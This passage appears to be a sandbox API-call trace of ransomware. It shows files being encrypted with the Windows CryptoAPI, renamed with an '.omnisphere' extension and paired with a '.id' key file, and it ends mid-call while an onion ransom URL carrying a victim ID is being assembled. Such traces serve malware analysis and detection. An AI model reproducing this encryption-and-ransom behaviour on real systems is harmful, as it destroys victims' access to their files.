[0127.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.212] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.212] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0127.212] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f5, lpName=0x0) returned 0x288 [0127.212] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f5) returned 0x1480000 [0127.212] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0127.213] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.213] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.213] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.214] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.215] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.216] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.216] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.216] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.216] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.216] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.218] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.218] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0127.218] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4f5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.218] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.219] GetProcessHeap () returned 0x1600000 [0127.219] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16f0980 [0127.219] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v5z9mvm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v5z9mvm.lnk.omnisphere")) returned 1 [0127.219] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk.omnisphere.id" [0127.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v5z9mvm.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.220] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.221] CloseHandle (hObject=0x3c0) returned 1 [0127.221] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.221] CloseHandle (hObject=0x288) returned 1 [0127.221] SetEndOfFile (hFile=0x28c) returned 1 [0127.221] FlushFileBuffers (hFile=0x28c) returned 1 [0127.224] CloseHandle (hObject=0x28c) returned 1 [0127.224] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\V5Z9MVm.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.224] GetProcessHeap () returned 0x1600000 [0127.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.224] GetProcessHeap () returned 0x1600000 [0127.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f18e8 [0127.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f18e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.224] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.224] GetProcessHeap () returned 0x1600000 [0127.224] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d81c8 [0127.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d81c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.224] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.225] GetProcessHeap () returned 0x1600000 [0127.225] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da3c0 [0127.225] PathCombineW (in: pszDest=0x16da3c0, 